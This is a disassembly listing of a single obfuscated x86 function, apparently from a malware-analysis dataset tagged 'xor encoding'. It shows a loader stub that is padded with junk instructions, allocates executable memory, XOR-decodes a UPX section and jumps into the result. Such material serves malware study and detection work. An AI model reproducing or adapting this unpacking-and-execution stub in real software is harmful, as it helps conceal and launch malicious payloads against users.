Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6e6a364e
mov esi, edx
add esi, esi
popal
sub edx, 0x671ea149
add esi, 0x823a6692
mov ecx, 0
mov eax, ebx
add esi, esi
add esi, 0x5877d9c9
mov edx, eax
sub edi, 0xa914d998
dec esi
add esi, esi
mov ebx, edx
add edi, 0xc660b457
sub edi, esi
or esi, edi
inc ecx
dec esi
sub esi, edi
cmp ecx, 0x100118b
jne 0xa789c8
dec edi
add edi, 0x980c4f46
mov esi, 0x5c121f17
sub edx, esi
mov edx, esi
mov esi, 0xa78796
and ebx, edx
dec ecx
mov eax, 0xa7898a
sub ebx, edx
add ecx, edx
mov edi, dword [esi]
add ecx, ebx
not edx
or ebx, ecx
and edi, 0xff
add ebx, 0xe9f776d3
sub ecx, 0x267c33db
mov ecx, 0x27bd28fd
xor dword [eax], edi
and ecx, ebx
mov ecx, 0x706569cf
inc eax
and ebx, ebx
and ebx, ecx
inc esi
mov ebx, 0xbe69eb8b
add edx, edx
add ecx, 0x33778c08
cmp eax, entry0
jl 0xa78a1a
not ecx
mov edx, 0xf3fd67c2
add ebx, 0x223765eb
dec edx
and ecx, ebx
mov esi, 0x33b3f8a1
not esi
add esi, edi
mov ebx, 0xa7898e
add edi, 0xd3af13f3
sub ecx, 0xd9db61a7
mov ebx, dword [ebx]
sub ecx, 0xa10c25d8
inc ecx
mov edi, 0x8f97f5ea
mov ebx, dword [ebx]
not esi
sub edi, 0x525d1383
push ebx
add edx, ecx
sub edi, edx
mov ebx, 0xa7898a
not edi
mov edi, 0x4b258285
add esi, esi
mov ebx, dword [ebx]
and edi, edi
not esi
mov edi, esi
mov ebx, dword [ebx]
add edx, edi
not edx
push 0xa78992
mov esi, edi
add edx, edi
inc edx
call ebx
mov edi, edx
add edi, 0x508977f2
mov ebx, dword [esp]
add esp, 4
mov edi, 0x43a033b6
add edi, esi
push 0xa7899f
add edi, 0x4a9dbfea
add edx, 0xa77a1bf
sub esp, 4
mov dword [esp], eax
mov ecx, 0xe2d653d6
not ecx
call ebx
mov ecx, esi
sub edi, 0xb2619b12
dec edx
push 0x40
inc edx
add edx, esi
sub esi, 0xe73a3a9c
push 0x3000
sub edi, edx
dec esi
push 0x200004ee
sub ecx, edx
sub ecx, edi
or edx, esi
sub esp, 4
mov dword [esp], 0
dec ecx
sub edx, 0x4bee4a7
call eax
and edx, edi
dec edi
sub ecx, 0x3b2189e5
add eax, 0x20000449
not edx
add edx, edx
and esi, esi
mov ebx, 0x4f716119
add edx, 1
inc edx
add edi, edx
mov dword [eax], ebx
add edx, ecx
add ecx, edi
mov edx, 0x4731946b
mov ebx, dword [eax]
dec ecx
sub ecx, esi
cmp ebx, 0x4f716119
je 0xa78b84
mov edx, 0
mov dword [edx], ebx
not ecx
mov edx, 0x7c52ef33
not edi
sub esi, 0xad555978
sub edi, 0x4350ffdc
sub edx, ecx
and esi, edx
inc edx
mov ecx, section.UPX1
mov edx, 0xc4fdffec
or esi, esi
sub esi, 0x64340040
mov ebx, 0xa78795
or edx, edx
add edx, 0xff7e0346
add edx, esi
mov eax, 0
not esi
inc esi
add edx, 0x6e1e3066
mov edi, 0xa78796
mov esi, edx
add esi, 0x55fabb3
lea edi, [edi + eax]
sub esi, edx
mov edx, esi
not edx
mov edi, dword [edi]
mov esi, 0xe560f84f
and esi, esi
and edi, 0xff
mov edx, 0xe40de7a4
add esi, 0x95f01e7c
mov esi, 0x8347e6c2
inc eax
add edx, 0x7839fad3
dec esi
inc edx
cmp eax, 0x1f4
jne 0xa78c18
mov eax, 0
add esi, esi
sub edx, esi
inc edx
mov esi, 0x333f8120
add edx, edx
xor dword [ecx], edi
sub edx, 1
mov edx, 0x46faffd3
sub esi, edx
add ecx, 2
mov edx, 0x6ac82939
add esi, 0xc0ca42b4
sub edx, 1
cmp ecx, ebx
jl 0xa78bcd
add esi, 0x87743e37
inc esi
add edx, edx
add edx, esi
mov esi, edx
mov esi, section.UPX1
mov ebx, 0xbe7897c0
and eax, ebx
mov edi, section.UPX1
sub eax, 0xc112d928
add eax, ebx
mov ecx, 0xa78795
inc eax
sub ebx, 0x800199ee
mov edx, 0
add eax, 0x6f39a07c
not eax
add eax, 1
mov dl, byte [edi]
dec eax
add ebx, ebx
mov byte [esi], dl
and eax, ebx
and ebx, eax
not ebx
inc esi
sub ebx, eax
not ebx
add edi, 2
or ebx, eax
and eax, eax
add eax, ebx
cmp edi, ecx
jle 0xa78c97
not eax
dec ebx
mov edx, esi
or esi, edx
add esi, esi
sub esp, 4
mov dword [esp], 0x8dc6a0
add edx, 0xdfff6e08
not esi
sub esi, 0x27bf38cf
ret